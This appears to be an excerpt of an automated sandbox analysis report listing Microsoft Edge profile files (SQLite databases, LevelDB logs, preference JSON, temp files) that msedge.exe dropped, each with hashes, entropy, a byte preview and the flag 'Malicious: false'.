C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b27ae428-bde3-4239-8b58-5756f8ec1660.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.250854974592525
Encrypted:	false
SSDEEP:	12:1QuvVaYebvqBZFUt86QN/+6QHz5OaYebvqBaJ:1QsVaYebvyg86QHQHlOaYebvL
MD5:	C8365447F2C7802AD18DCA1F490813A4
SHA1:	45F771AF40E2B8795F2FB1A4415E510570862EBF
SHA-256:	1FFCC8F2373C717B05A1A4A44D089A1F71311FB207059BFC8CCE2D257E31BE15
SHA-512:	8A635D161C2F77D8F2982FF9C9F53ABF172558BCA15A48F485E97EA111E7E68C685F186FCE06DC73A5A308FB3080CEE5C4EA28A59B116D184324FD887D62CA0F
Malicious:	false
Preview:	2024/10/29-12:59:48.810 1c64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-12:59:48.812 1c64 Recovering log #3.2024/10/29-12:59:48.816 1c64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.250854974592525
Encrypted:	false
SSDEEP:	12:1QuvVaYebvqBZFUt86QN/+6QHz5OaYebvqBaJ:1QsVaYebvyg86QHQHlOaYebvL
MD5:	C8365447F2C7802AD18DCA1F490813A4
SHA1:	45F771AF40E2B8795F2FB1A4415E510570862EBF
SHA-256:	1FFCC8F2373C717B05A1A4A44D089A1F71311FB207059BFC8CCE2D257E31BE15
SHA-512:	8A635D161C2F77D8F2982FF9C9F53ABF172558BCA15A48F485E97EA111E7E68C685F186FCE06DC73A5A308FB3080CEE5C4EA28A59B116D184324FD887D62CA0F
Malicious:	false
Preview:	2024/10/29-12:59:48.810 1c64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-12:59:48.812 1c64 Recovering log #3.2024/10/29-12:59:48.816 1c64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1966760669971706
Encrypted:	false
SSDEEP:	6:1QM1ci+q2PN723oH+TcwtpIFUt86Q3ZZmw+6QgnVkwON723oH+Tcwta/WLJ:1QMWi+vVaYebmFUt86Q3Z/+6QgnV5OaT
MD5:	8453F0D9A4EE7744802FF8A78F80CEA7
SHA1:	F56849992F3D0E76D1D5A97F0336B2263AD9F8AE
SHA-256:	30225112FA1CD420E1D8EB40CB98FFDFAE0E2E0BD249C791E92E4320180C352B
SHA-512:	ADA06916060BDA609826FB6D2BD7743086B566FADC6B6F9096CAFE86FF5A8FA2DCA8A37356FD7771133D76DFEEE315321E75F87EFCE6AB1D6F5971D5D11F10F8
Malicious:	false
Preview:	2024/10/29-12:59:30.185 1f9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-12:59:30.283 1f9c Recovering log #3.2024/10/29-12:59:30.284 1f9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1966760669971706
Encrypted:	false
SSDEEP:	6:1QM1ci+q2PN723oH+TcwtpIFUt86Q3ZZmw+6QgnVkwON723oH+Tcwta/WLJ:1QMWi+vVaYebmFUt86Q3Z/+6QgnV5OaT
MD5:	8453F0D9A4EE7744802FF8A78F80CEA7
SHA1:	F56849992F3D0E76D1D5A97F0336B2263AD9F8AE
SHA-256:	30225112FA1CD420E1D8EB40CB98FFDFAE0E2E0BD249C791E92E4320180C352B
SHA-512:	ADA06916060BDA609826FB6D2BD7743086B566FADC6B6F9096CAFE86FF5A8FA2DCA8A37356FD7771133D76DFEEE315321E75F87EFCE6AB1D6F5971D5D11F10F8
Malicious:	false
Preview:	2024/10/29-12:59:30.185 1f9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-12:59:30.283 1f9c Recovering log #3.2024/10/29-12:59:30.284 1f9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676728286063863
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMySA1LyKOMq+8iP5GDHP/0jMVum2:Kq+n0Jy91LyKOMq+8iP5GLP/0f
MD5:	D81496E3EFA65305B9CDE113B09594AC
SHA1:	6253CB6EE1D76902E5871BF79C5903669CB8A27B
SHA-256:	0CF48131D65AB2126445E24EB29404D8241F65EF9CA517E8BE878C427286306F
SHA-512:	9FB7D5B3E7F3E420F407CD56416D7B906F6AC2865537EECF1BD462A879BA2AF4B1B7631A7040CCFF9F298B3013C02137880E897A5CC5A440D0E004B3D4E4DA54
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.467038804474697
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0PDU:v7doKsKuKZKlZNmu46yjx0LU
MD5:	0693976E8432BFE5DEB069E023C700BA
SHA1:	F7B8A930F897763F8F9A8D62A7B8074BDA1024AD
SHA-256:	343499A1F64708A3275AC27741946D8B277178E7E72E7FB16E09AB86E10418FD
SHA-512:	A0DBD84459F0483935A9D4A60782DEA6EA5D6C409FAFF359204FE3C1E1A0A58B36EF1DCB7102662ED7A572D803B6ED980D8A09CACA7A5223BF6107053B95C18C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\be797d2e-d59a-484b-87f7-2dbee7fa9f17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c449f33f-80b1-477e-9b26-8d32369d3dab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17603), with no line terminators
Category:	dropped
Size (bytes):	17605
Entropy (8bit):	5.474149699691593
Encrypted:	false
SSDEEP:	192:sttJ99QTryDiuabatSuypdsjnaFvrEAMPkBIQEo37dKTu6bFcJI6U8WbV+FQcQw1:sttPGQSu4dsjnCDVMAbcy6bxbG3QwB3L
MD5:	502A53720C5D391FC843FB7D5E2233EF
SHA1:	8F2A3B52815E9D4F68C8567F4BC77CD0FDA6BF42
SHA-256:	7FCDC1A9CB1A57F3323D95B913DECC9CAA161DCE47962F8DB3FC6C2CAFB80716
SHA-512:	25E05C3733A174165C08A5BF93BBA24A36EC39E8143F4B8A6B5A4A6058B0EC8C3D3C99D983B296B3D37EF9F0907405CC7DD93A0C40915CEE37EAF2A4706540BE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dc53e1bc-3429-4ea6-9e67-66babca1cc8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17603), with no line terminators
Category:	dropped
Size (bytes):	17605
Entropy (8bit):	5.474269200242154
Encrypted:	false
SSDEEP:	192:sttJ99QTryDiuabatSuypdsjnaFvrEAMPkBIQEo37dKTu6bFcJI6U8WbV+FQcQwD:sttPGQSu4dsjnCDVMAbcy6bxbG3Qwv3L
MD5:	31A1CE4E9EF2B738809BB09957F70147
SHA1:	B9E3081CB56CA4CEC3FA0278362658EEC511DDF3
SHA-256:	439ADA637351038A7E5F42729096A6BB400A024A43A9599F742659C9B2F7D59E
SHA-512:	8B65286B3B8838422B70A63372F489A8445D084B3A91F36D9C11CF06791D3D94511D5F1F87B8CBBB2B056BA642F82A0D8D2C055F27AE71B1BC21FCC51AE876D2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f7cb9de0-6fa7-4945-b6fa-370baac7fb71.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17438), with no line terminators
Category:	dropped
Size (bytes):	17440
Entropy (8bit):	5.4776008299362
Encrypted:	false
SSDEEP:	192:sttJ99QTryDiuabatSuypdsjnaFvrEAMPkBIQEo37dKTu6bFcJI6U8WbV+FQcQwz:sttPGQSu4dsjnCDVMAbcy6bxbG3QwfL
MD5:	F618E978F63E0C7D419C2E5FEED2283C
SHA1:	76D3E3148C8F93615E378F98192C9A4530A187FB
SHA-256:	E7FAC3C69BD04BEA9F6AD23F9AB691D92CCF36B3C5C76E0E423052D66921E8B5
SHA-512:	E6B5BE75D6655777892047712B1FA83432761EB2B165F7A62D375682577C4F5B82044EEFA3E5182EE585AAFE21CC721271E870D4C9DEFD0D09F6C80F7212DA3D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374694770739849","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fd2f75c9-1e3b-4e18-b0a0-5bf8377fec0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10591008613452745
Encrypted:	false
SSDEEP:	12:Jnt7TWnt7TZpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntentvoPnnnnnnnnnnnnvHj
MD5:	E18D2F592CE2E4361FDE8E15F86E822F
SHA1:	B9A413A6598937B9DB8C63F8515E14A75D4ED2A9
SHA-256:	727BDFF82D6685D1F21ABF43826F1A996C28156AF9F2BE63DB5F60AD2E3A8DE2
SHA-512:	3197386641E4F6AD44F608C637325A3B849560A5E587D5CF4D0F51AE41F7DBB44DDE312B6C14AC1B395D2F4DB773B5DEC5D77C32A01B76B76F3EFA6C77BFD955
Malicious:	false
Preview:	..-.............Q.......O.A.W.G'$J...V...Z........-.............Q.......O.A.W.G'$J...V...Z..............M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9340750602374587
Encrypted:	false
SSDEEP:	384:qwaaop2RD9alcvRdM8hlzSi3lpOB47l5d+5ycyYsyzy13yBrxy6t:Y3
MD5:	04E7B4E66B920623B37E145B635EA5F8
SHA1:	31799377138307A29F9FC4538D944A396C0DE6C9
SHA-256:	870DDFE1D3DB4BFF3DFA9111CA9ECBD10D69440E32E20528F1F33D20C2DD2498
SHA-512:	EE82A03334B98D17C8E1EA06B7DE86A0E3768366E008CCAD5536243A427B572262CA98F512827390ECF6456C12EA0B50DED1DCA8099ADFD94E971E25DEA90697
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5260927080179583
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuBllIA/+8tLn:pHayYlIA/RLn
MD5:	EC05E1702BFB736873F5B0A38D274708
SHA1:	54D916160996D6230F11CDD641BBA63246554E1E
SHA-256:	F1F15856FECFCA44A2F4098BF48FA728691964E52B0621F5664FD612440C8839
SHA-512:	9B5B2829BDCB010CC77908E3D44607F4503461168C7BCC5E278ADDBAF25837C55B4B908404D9DD2537240025554FA2B76078F288080130418990BD0D87F97F90
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............c.i.;...............#38_h.......6.Z..W.F.....1.y.....1.y..........V.e....................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.214950728446603
Encrypted:	false
SSDEEP:	6:1QQM6q2PN723oH+TcwtfrK+IFUt86QsVXZmw+6QSQ7kwON723oH+TcwtfrUeLJ:1Q16vVaYeb23FUt86QQ/+6QSs5OaYeb5
MD5:	15E001E3398BF882BFAAFA983FB94F9F
SHA1:	1EC7E72E662D918B7E37A63E2127021B6528CA30
SHA-256:	FCCAA603077015A67BD18B77A3B526A79877A5188EB1A0C8B3186864C2886185
SHA-512:	02EB7392D66DBB1D08369AE9E011CB46517ADED686780F37677BD35251982BB030AB858519DD16F0DF377EDFBE4427C7638794C476A764087249E72329BD386A
Malicious:	false
Preview:	2024/10/29-12:59:30.751 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-12:59:30.752 1f40 Recovering log #3.2024/10/29-12:59:30.753 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.214950728446603
Encrypted:	false
SSDEEP:	6:1QQM6q2PN723oH+TcwtfrK+IFUt86QsVXZmw+6QSQ7kwON723oH+TcwtfrUeLJ:1Q16vVaYeb23FUt86QQ/+6QSs5OaYeb5
MD5:	15E001E3398BF882BFAAFA983FB94F9F
SHA1:	1EC7E72E662D918B7E37A63E2127021B6528CA30
SHA-256:	FCCAA603077015A67BD18B77A3B526A79877A5188EB1A0C8B3186864C2886185
SHA-512:	02EB7392D66DBB1D08369AE9E011CB46517ADED686780F37677BD35251982BB030AB858519DD16F0DF377EDFBE4427C7638794C476A764087249E72329BD386A
Malicious:	false
Preview:	2024/10/29-12:59:30.751 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-12:59:30.752 1f40 Recovering log #3.2024/10/29-12:59:30.753 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.236357477238326
Encrypted:	false
